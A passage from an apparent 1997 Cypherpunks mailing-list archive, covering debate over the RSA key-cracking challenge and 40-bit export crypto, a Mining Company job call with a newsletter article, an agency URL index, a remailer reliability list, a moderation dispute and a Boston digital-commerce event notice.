it's likely that implementation details are either available, or readily deducible. Clue 2, the disclosure of key size, again meets the standards just discussed. In the case of products recently exportable from the U.S., one of two things is generally true. Either the key size is actually 40 bits, or the key size is larger than 40 bits, but steps are taken to make all key information beyond 40 bits accessible to observers of the tool. Again, in a commercial environment, this is no secret. Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman. Disclosure of known plaintext, in this case the phrase "The unknown message is:" is certainly quite serious in that it may significantly aid cryptanalytic attack. My only comment here is that in the commercial arena, interoperability demands standards, and standards define consistent protocols. Those protocols will almost always result in some manner of reproducible content, most readily exemplified by message headers in electronic mail systems. While mechanisms exist for enhanced cryptographic protection of said content, in general the commercial environment has lagged behind the military, and perhaps rightly so. In none of the aforementioned cases, however, do I see information that fundamentally invalidates the significance of RSA's Challenge TO THE CIVILIAN COMMERCIAL INFOSEC COMMUNITY. That community has serious, current INFOSEC needs, and one must question (as I know many of us do every day) to what degree we're willing to lay our economic fabric open to subversion in order to lessen the cost of intelligence collection. --Bob Stratton ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST) From: "A. Padgett Peterson P.E. Information Security" To: infowar at infowar.com Subject: RSA challenge Paul rote: >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. ... >Clue #3: (a giveway!) > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Those who follow my hobby may have noticed that about two years ago I began using the "3.5 hour" figure to assign a maximun value of $250 to any information sent via a 40 bit code. The advent of multiple parallel machines (via networks) capable of operating entirely out of L1 cache just made the technology available. However, such attacks do rely on known plain text for speed (final test is a simple XOR/alarm if zero. The same technology was used in Colossis back in 1944. It was just a touch slower. The simle answer is message compression prior to encryption which would make deciding when the message was broken much more difficult. Naysayers claim "there is always KPT" but this does not need to be true. - whole months of Enigma traffic went undecoded because there was no crib available but eventually human error gave the BP team a clue. Today, electronic systems can remove such errors from human hands. Personally believe that 56 bits is "good enough" today though it makes little sense from a programming standpoint not to use 64 *so long as a different key is used for every message and every message, no matter how trivial, is encrypted*. Or you could use a "shared secret" book code: a simple XOR with a digital satellite data stream transmitting compressed video should do nicely. All that is needed is to know which stream and when to start. I call that an "unwitting key provider". So as Paul says, the contest proves little except to confirm my 3.5 hour estimate (remember the gentleman in France who broke the 40 bit NS code last year and what his time was...) - but that was for equipment available several years ago. Today I use the figure of one gig kps (keys per second) for 1997 equipment per seive. A single one would break 40 bits in an average of under 10 min. DES would fall in a day to 400 in parallel. But the question remains: without KPT, how can you tell when the break occured ? Is a world of difference between an XOR and decompression. And if every message uses a differnt key... Warmly, Padgett ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/ under "Anti-Virus hobby". FreeWare. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From carolann at censored.org Tue Feb 11 06:44:27 1997 From: carolann at censored.org (Carol Anne Cypherpunk) Date: Tue, 11 Feb 1997 06:44:27 -0800 (PST) Subject: Cryptography WWW Siteguide wanted. Message-ID: <199702111444.GAA20478@toad.com> -----BEGIN PGP SIGNED MESSAGE----- The Mining Co. (http://www.miningco.com) is looking for "siteguides". There will surely be a guide needed for cryptography. Pay is commensurate with hit volume, but it isn't too shabby, at about 3K per month after about a year. There is the original posting from Sideman's Online Insider following this post to acquaint you with the particulars. Good Luck to whomever from this list (for I'm sure someone will) takes the aformentioned position. I would, but I'm applying for a different site in the Culture/Beliefs section. On one other note, the PGP Plugin for Eudora is MARVELOUS! THIS I can even teach a clueless newbie! Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8 q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI i962UdPbyVs= =69D8 -----END PGP SIGNATURE----- ========================================================================== Seidman's Online Insider - Vol. 4, Issue 6 Brought to you by NetGuide Magazine< http://www.netguide.com > ========================================================================== Copyright (C) 1997 Robert Seidman and CMP Media Inc. All rights reserved. May be reproduced in any medium for noncommercial purposes as long as attribution is given. Kurnit is Back and Mining the Internet ====================================== "Like Arnold, he'll be back. I've been listening to what he has to say for a long time. If you listen to him, you'll hear how the Web is the way and that the proprietary services are a dead model. If you listen between-the-lines, you'll hear a modified version of that vision. A best of both worlds vision. You'll hear that he wants to develop easy to use, functional services on the Web. Like easy to use chat. Like easy to use bulletin boards. Like AOL, but on the Web." -Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp joint venture from Seidman's Online Insider for the Week Ending February 9, 1996. Kurnit's back, and almost exactly a year to the day since the clip above was written. On Monday February 10, the new company Kurnit founded, The Mining Company, will announce their plans to basically build AOL on the Web. I'm not sure about the choice of February 10 as the day to announce this. It is a day with special significance for me. On February 10, 1972 I had a dilemma. I was hungry for breakfast and wanted some cereal. I had cereal, but no milk. So I called my mom at work and asked her if I could run across the street to the convenience store. My mom said no because "the street" was more like a highway and because I was 9 years old. "You'll get hit by a car," my mom said. As you might imagine, I went anyway. And as you also might have guessed by now my mother was right, except no car was good enough for me. I had to face off with a ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.) Twenty-two stitches in the head, a healed broken wrist and 25 years later, I'm still hanging in there. I don't remember anything about it, including seeing the truck. I've always wondered if I was pushed. What I do remember was waking up in the ambulance with quite a headache. But since then, seeing how I lived and all, I've always viewed February 10 as a GOOD day. The Mining Company may not be a truck setting its sights on running down AOL or even other Web content aggregators (even to some degree NetGuide Live), but it is an interesting model. *What It Is* In effect, The Mining Company wants to be the biggest online service on the Web, ultimately offering 4,000 special-interest areas in an integrated, easy-to-use interface. Whether you call these special areas channels, departments or categories -- it's all the same thing. Kurnit wants to capitalize on the fact that it takes too long to find what you want on the Net. He wants to put it all in one place with one consistent interface so that you can easily find what you're looking for and interact with those who have common interests. Each "channel" will have content, bulletin boards, online chats, links to other good stuff on the Web in the particular area of interest. You'll also be able to search a site via Verity's search engine or search the entire Net via Digital's Alta Vista. While they are currently testing another chat product, they have decided to move to the iChat chat client. In the test system I had access to, the bulletin board system was very easy to use, but painfully slow. I'll cut them some slack since they are still in beta, but users will need to be able to move around the boards quicker than what I experienced or they will likely be put off. *And Now for Something Really Different* When Kurnit first ran the vision by me a couple of weeks ago, I said "To me it seems like this is..." "AOL on the Web," Kurnit interrupted. "Not exactly," I said, "It's like AOL on the Web with a hint of Amway thrown in." One of the problems with providing editorial context for the Net is that it winds up costing a lot of money. Kurnit's previous venture with MCI/Newscorp was iGuide. They built a great guide to the Net, but ultimately they scaled it back to just become a guide to entertainment on the Net. You've read the reports all over the place about scaled back editorial efforts and rightsizing. Good editorial doesn't come cheap, at least not when done traditionally. The Mining Company isn't going after the traditional model of hiring a bunch of full-time editors and bringing them in house. They plan to use folks already out there on the Net. Once upon a time while I was at IBM, I helped recruit Chris Locke, of MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was running. While there are many things Chris and I do not agree on, I was very much in synch with Chris when it came to the idea of communities of interest on the Web. Give remote people the tools to produce the content, Locke would say, and you'd be able to easily build hundreds if not thousands of communities of interest very inexpensively. Locke who is now with a hardware company in Colorado will no doubt take interest in what Kurnit and the gang at The Mining Company are up to, because they are all about providing the tools to produce the communities of interest inexpensively! If your chosen as one of its forum moderators (they call them Guides), you'll be given access to all the tools you need to build a site on the service. Now you may be thinking, "Ah, GeoCities does that already!" GeoCities < http://www.geocities.com > gives free web pages and is organized around certain communities of interest. But their homesteader program is not about setting up an all-encompassing online service. And while it is a great place to create a free web page, there's no real business model for the person creating the page. If you build a great site there, GeoCities gets the revenue on all the traffic that goes there. Because it has a lot of traffic, GeoCities can send some traffic to your Web site. But in the end, the model for GeoCities is one to give you a free page on the Web. This is good for you if you're just in it for the fun of it, and good for GeoCities too. I think GeoCities is great, but if I am looking for something in particular, I wouldn't think to look there first. The Mining Company wants to create a space that no matter what it is you hope to find, you'll look there first. *They Call them Guides* The Mining Company wants to create quality communities of interest. And for every community (channel) created, there will be a unique moderator/editor. The Mining Company calls them Guides. It's looking for more than just a few quality folks to become Guides and form their service. Starting Monday, they will begin accepting applications to become Guides on the service. There could be multiple sites about the same thing during the start-up phase, but ultimately it will be whittled down to one Guide/site per special interest. To ensure quality, they'll be a review committee set-up to make sure quality standards are up to snuff, including some folks from the community of Guides. Kurnit believes between that, the natural inclination for other Guides to point out areas of, um, weakness and user feedback, they'll have a good handle on quality. Additionally, there will be some in-house editorial to oversee major groupings (like Technology, Personal Finance, etc.) "The Mining Company is dedicated to serving the needs of its Guides and users," said Kurnit. "We give the tools and support to the Guides to help users find what they want, trust what they find, and connect them with the most valuable sites on the Net and with other interesting people." "This model is now only possible because of the team effort at The Mining Company to integrate the latest improvements in Internet technology and the newly identified needs of users and independent Web producers," adds Kurnit. *Getting the Guides* Will it be easy to get the ultimately thousands of Guides necessary to run this service? "How much talent is out there," asks Kurnit. "We look at the thousands of pages out there on AOL, GeoCities, etc., and the rest of the Internet," Kurnit said. "All we think we need to get is 2%-3% of the talent pool." In certain areas it will likely be very competitive. Everyone will want to get there first. "First there's the application process," said Scott Kurnit in a phone Interview. "You're going to show us your bio and you're going to write some columns so we can see your writing style. If you make the grade, you make it to our orientation process," Kurnit said. The Mining Company places its focus on training the Guides and giving them the tools they need to make a site. If you "make the grade" you basically have 3 weeks (2 of which are the "orientation") to get a site up-and-running on the service. "The fact is, if you can't get it done in a reasonable time then you probably don't have the dedication or time to get it done," says Kurnit. Just how much time will it take for Guides to put together sites? "We're not looking for anyone to quite their day jobs," said Kurnit. "We're looking at about a 10 hour a week commitment to produce the sites." But Kurnit also says that though there will be only one Guide per site, the Guides will be able to line up assistants. *What's in it for You?* So why The Mining Company then? Why not GeoCities or doing it on your own? Well, there are a couple of reasons. One is the promise of exposure, the other is the promise of MONEY. There is a model here, especially if you're not looking to quit your day job. While I imagine it will have to shift its model somewhat, there are some opportunities to make a buck or two for the Guides. It might not be much money, but if you're already throwing 10 hours or so a week towards maintaining a Web page that lines up around a special interest or two, any money is better than what you're probably getting now. Basically, The Mining Company is looking to allocate 40% of all advertising revenues back to the Guides themselves. The real pool here is 30%, with the additional 10% being used for things like bonuses. So, how does it work? Kurnit is looking to get quickly to a million or so page views a day (each of the pages I saw had 2 advertisements. By the end of the year, Kurnit hopes to be in the 10 million - 15 million page views. It sounds a little ambitious, but if they're successful lining up quality Guides, it could become a reality. So let's say they're getting 5 million page views per day. Based on what I saw, that would net out to be about 300 million ads running per month. Lets say ad sales average out to $30/1000 (a $30 CPM). Based on that, you're looking at a cool $9 million a month in advertising revenue. So $3.6 million is in the Guide pool, but only $2.7 million is for the true revenue split. Now, let's say you're a Guide who got one-tenth of 1 percent of The Mining Company's overall traffic. You'd make a cool $2,700 a month for your efforts. If you happen to be a guide in one of the "killer categories" whether it be a parents site or a kids site or a computing site, it's not unreasonable to think that you might get as much as 1%. That would be $27,000 per month!! Some people will balk at the 40%-60% share, but I think that's pretty fair. Where I'd predict the model will have to change, however, is in the cases where the cost per thousand (CPM) view being charged the advertisers is much higher than the average of the overall site. If the overall site average is $30/1000, but your site is generating a CPM of around $90, you're probably not going to want to be paid based on averages. *Will it Work?* In short, I think this could work quite nicely. The premise of a front door that links to content that is all packaged with a consistent look and feel is a winning premise. With AOL's recent move to flat-fee, one big advantage a Net service has over a proprietary model like AOL is the ability to create content far more easily and inexpensively. Much coverage has been given this week regarding AOL beginning to charge its partners in its Company Connection a $55,000 fee each year to participate. Some in AOL are saying its reasonable since the areas amount to "free" advertising for the companies, but realistically speaking, I think it is a maintenance fee AOL is charging to offset the cost of dealing with these forums. I think it is reasonable to expect to see AOL begin to charge similar fees for any content that isn't "must have" for them, now that the hourly charges that once subsidized these areas are gone. There is a cost of throwing in-house support at these online areas and much of the cost is due to the fact that it's a proprietary system. Setting up new "forms" and new looks just isn't easily accomplished by the content providers themselves. So, the timing may be good for The Mining Company. There are at least two tricks Kurnit and Co. must pull off. First, they have to get the Guides. That starts on Monday, when they begin accepting applications. The next will be to market the site in a way that gets people to the front door. Internet of the people, for the people and by the people, it has a nice ring to it... I'm sure we'll hear more about this when the site officially launches in April. For more info, check out < http://www.miningco.com >, sometime on Monday, they will make a lot more information available there than the "coming soon" that was there as of this writing. Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann at censored.org 206.42.112.96 My Homepage The Cyberdoc *********************************************************************** From harka at nycmetro.com Tue Feb 11 06:44:36 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Tue, 11 Feb 1997 06:44:36 -0800 (PST) Subject: Military/Intelligence URL Message-ID: <199702111444.GAA20493@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Here an page, that deals with various intelligence and military institutions... In> Subject: GOVT> AJAX, Government and Military Intelligence In> http://204.180.198.56:80/ajax/ajax.htm In> United States and International Government Military and Intelligence In> Agency Access In> Certain Locations Or Sections Thereof May Be Closed To In> Unauthorized Use. In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM. In> (If You Prefer A Frameless Environment, Click HERE.) In> Last update: 7 FEBRUARY 1997. All accesses verified at In> time of inclusion. In> CIA Central Intelligence Agency In> DIA Defense Intelligence Agency In> NRO National Reconnaissance Office In> NSA National Security Agency In> SS Secret Service In> USCSOI U.S. Customs Service Office of Investigation In> ATF Bureau of Alcohol, Tobacco and Firearms In> BOP Federal Bureau of Prisons In> CID U.S. Army Criminal Investigation Command In> COURTS U.S. Federal Courts In> FBI Federal Bureau of Investigation In> FINCEN Financial Crimes Enforcement Network In> FLETC Federal Law Enforcement Training Center In> MARSHALS U.S. Marshals Service In> NIJ National Institute of Justice In> ACC Air Combat Command In> AFSPC Air Force Space Command In> BMDO Ballistic Missile Defense Organization In> DEFENSE Defense Department In> DISA Defense Information Systems Agency In> DRMS Defense Reutilization and Marketing Service In> DTIC Defense Technical Information Center In> JCS Joint Chiefs of Staff In> NAVWAN Naval Aviation Systems Team Wide Area Network In> NAWCWPNS Naval Air Warfare Center Weapons Division In> NSWC Naval Surface Warfare Center In> USAFA United States Air Force Academy In> AHPCRC Army High Performance Computing Research Center In> ARPA Advanced Research Projects Agency In> LABLINK U.S. Department of Defense Laboratory System In> NRL The Naval Research Laboratory RL In> USAF Rome Laboratory for C41 Technology In> USACIL U.S. Army Criminal Investigation Laboratory In> NATGUARD Army and Air National Guards In> USA United States Army In> USAF United States Air Force In> USCG United States Coast Guard In> USMC United States Marine Corps In> USN United States Navy In> EPA U.S. Environmental Protection Agency In> FAA Federal Aviation Administration Technical Center In> FCC Federal Communications Commission In> FTC Federal Trade Commission In> NMFS National Marine Fisheries Service In> NRC Nuclear Regulatory Commission In> SEC Securities and Exchange Commission In> CDC Centers for Disease Control and Prevention In> CENSUS U.S. Department of Commerce Bureau of the Census In> CONGRESS U.S. House of Representatives In> CUSTOMS U.S. Customs Service In> DOE U.S. Department of Energy National Laboratories In> & Programs In> EXECUTIVE The White House In> FDIC Federal Deposit Insurance Corporation In> FEMA Federal Emergency Management Agency In> FMS Financial Management Service In> GPO U.S. Government Printing Office In> GSA U.S. General Services Administration In> HHS U.S. Department of Health and Human Services In> HPCC NOAA High Performance Computing and In> Communications IRS Internal Revenue Service In> JUSTICE Justice Department In> NARA National Archives and Records Administration In> NASA National Aeronautics and Space Administration In> NCDC National Climatic Data Center In> NIMH National Institute of Mental Health In> NOAA National Oceanic & Atmospheric Administration In> NSF National Science Foundation In> NTIS National Technical Information Service In> SBA Small Business Administration In> SEL Space Environment Laboratory In> STATE State Department In> TREASURY Treasury Department In> USCODE U.S. House of Representatives In> Internet Law Library U.S. Code In> CANADA In> CSE Communications Security Establishment In> CISC Criminal Intelligence Service Canada In> CSIS Canadian Security Intelligence Service In> SIRC Security Intelligence Review Committee In> UNITED KINGDOM CIM Central Intelligence Machinery In> CANADA In> DJC Department of Justice of Canada In> FORENSIC The Forensic Web In> RCMP Royal Canadian Mounted Police In> SGC Solicitor General of Canada In> UNITED NATIONS UNCPCJ United Nations Crime Prevention & In> Criminal Justice In> CANADA In> CFC Canadian Forces College In> DREO Defense Research Establishment, Ottawa In> UNITED KINGDOM In> ARMY The British Army In> CDA Centre for Defence Analysis In> DRA Defence Research Agency In> NATO North Atlantic Treaty Organization In> SACLANT Supreme Allied Commander, Atlantic In> SHAPE Supreme Headquarters Allied Powers Europe In> BECCA Business Espionage Controls & Countermeasures In> Association In> CRYPTOLOG Internet Guide to Cryptography In> DCJFTF Washington, D.C. Joint Fugitive Task Force In> WANTED "The World's Most Wanted" (Fugitives and In> Unsolved Crimes) Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8 3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j 6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni 2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig== =s4om -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From raph at CS.Berkeley.EDU Tue Feb 11 06:44:56 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Tue, 11 Feb 1997 06:44:56 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702111444.GAA20488@toad.com> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = ' alpha pgp'; $remailer{'nymrod'} = ' alpha pgp'; $remailer{"lead"} = " cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"death"} = " cpunk pgp hash latent post"; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk mix pgp. hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 10 Feb 97 6:46:24 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config at nym.alias.net **-#+*#*#*## 1:59 100.00% jam remailer at cypherpunks.ca ****** 8:22 99.98% wazoo remailer at wazoo.com *+++++ 33:48 99.97% weasel config at weasel.owl.de ++++++-++++ 1:05:51 99.84% lucifer lucifer at dhp.com ++++++++++++ 37:45 99.78% dustbin dustman at athensnet.com ----+-- .+++ 2:42:13 99.65% balls remailer at huge.cajones.com +-- **### *# 2:12 99.60% cyber alias at alias.cyberpass.net ++*+++*** *+ 30:13 99.59% haystack haystack at holy.cow.net *#-+###*##* 4:06 99.42% squirrel mix at squirrel.owl.de ++ +++-+ ++ 1:05:29 99.26% exon remailer at remailer.nl.com #* * ## **# 1:21 99.18% middle middleman at jpunix.com ---+-. +++ 2:51:34 98.78% replay remailer at replay.com +-***+*---+* 27:45 98.57% extropia remail at miron.vip.best.com .- ------- 4:46:55 98.08% reno middleman at cyberpass.net --+- .++ 1:27:14 96.63% mix mixmaster at remail.obscura.com +_ __.-*+ 22:42:38 93.53% winsock winsock at rigel.cyberpass.net ----.--- + 5:48:14 75.89% shaman mix at mix.nymserver.com 2:46 9.00% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From dthorn at gte.net Tue Feb 11 06:48:01 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 06:48:01 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <3300864F.1DED@gte.net> Sandy Sandfort wrote: > You have probably just read John's post. I truly hope YOU (each > and every one of you) can rise to his challenge. If you have > offered nothing in the past but criticism, it's now time to get a > bit more real. What will it be, your money, time, equipment? What challenge? An offer to break code for money? Not likely, is it? > I would hope that the loudest advocates of "free speech" turn out > to be the most generous, but I'm not holding my breath. Maybe > the solution(s) will come from you lurkers. I hope you can put > down your beer long enough to get involved. Generous with what? Get involved with crypto? That's why they're here in the first place, yes? > Finally, if anyone wants to discuss why the Cypherpunk list has > come to this, or what I did right or wrong as a moderator, let's > talk about--on the new list(s) YOU create. For now, though, it's > off-topic. We have work to do. I think they already talked about it, and the decision is in. What does "off-topic" mean? Does it mean further criticism will be censored? > P.S. To all those people who privately supported me in my attempt > to help the list deal with its problems, thank you. Help the list? You almost destroyed the list. If you wanted to help, you should have provided lessons on filtering. > I wouldn't have come back without your and John's encouragement. A lot of people wish you hadn't come back. From rah at shipwright.com Tue Feb 11 06:53:36 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 06:53:36 -0800 (PST) Subject: DCSB: Online Government & Electronic Commerce - Legislation andPublic Sector Initiatives Message-ID: -----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Daniel Greenwood, Esq. Deputy General Counsel Information Technology Division Commonwealth of Massachusetts "Online Government & Electronic Commerce - Legislation and Public Sector Initiatives" Tuesday, March 4, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Dan will give us an update on recent information age legislative and operational developments in the public sector. Special attention will be paid to: Electronic Signature and Record Legislation; Joint Government/Private Sector Attempts to Set Certification Authority Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated State-Federal-Foreign Electronic Commerce Policy Initiatives; and much, much more . . . Speaker: Daniel Greenwood, Esq. Information Technology Division, Deputy General Counsel Commonwealth of Massachusetts Office: http://www.state.ma.us/itd/legal home: http://www.tiac.net/biz/danielg Mr. Greenwood practices information technology law for the Commonwealth of Massachusetts. Recent relevant activities include: * Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act * Chairman of the Commonwealth of Mass. PKI Task Force * Chairman of the ABA Info. Security Comm., Legislative Sub-Committee * Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group * Contributing Author: ABA Digital Signature Guidelines * Negotiator of Contracts for Internet Security and Payment Systems * Board Member of SigNet.Org and Chair of Legal Special Interest Group * Director of the Virtual State House Project (MIT/Stanford Law School) * Faculty Member: MCLE Health Care & Info. Technology Program * Guest Lecturer for Suffolk Law School High Tech. Symposium * Selection Board Chairman for First Commonwealth of Mass. C/A Business This meeting of the Digital Commerce Society of Boston will be held on Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, One Federal Street. The price for lunch is $27.50. This price includes lunch, room rental, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men, and "appropriate business attire" for women. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, March 1, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston". If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Planned speakers for DCSB are: March Daniel Greenwood The Role of State Government in Digital Commerce April Stewart Baker Encryption Policy and Digital Commerce We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to . Looking forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwB+VvgyLN8bw6ZVAQEsRAQAiInZXDXlzdMn0B+b9A6zgWHH5POJku5v k9HIZK286Paw1KWKYsw8VyYjUoG4vq/LAh1CagWkwL4EN9Ysg7kbU+LP0W4u04vb /QoKk5rWpmXuplXx1Fp9IhIe2O6oV0vTInJqPV3zkXk4qGzYUrQ0bqLbQn769iMO 7pwwVbkioSc= =m5Pz -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From sandfort at crl7.crl.com Tue Feb 11 06:58:30 1997 From: sandfort at crl7.crl.com (Sandy Sandfort) Date: Tue, 11 Feb 1997 06:58:30 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702111458.GAA20705@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, You have probably just read John's post. I truly hope YOU (each and every one of you) can rise to his challenge. If you have offered nothing in the past but criticism, it's now time to get a bit more real. What will it be, your money, time, equipment? I would hope that the loudest advocates of "free speech" turn out to be the most generous, but I'm not holding my breath. Maybe the solution(s) will come from you lurkers. I hope you can put down your beer long enough to get involved. Finally, if anyone wants to discuss why the Cypherpunk list has come to this, or what I did right or wrong as a moderator, let's talk about--on the new list(s) YOU create. For now, though, it's off-topic. We have work to do. S a n d y P.S. To all those people who privately supported me in my attempt to help the list deal with its problems, thank you. I wouldn't have come back without your and John's encouragement. 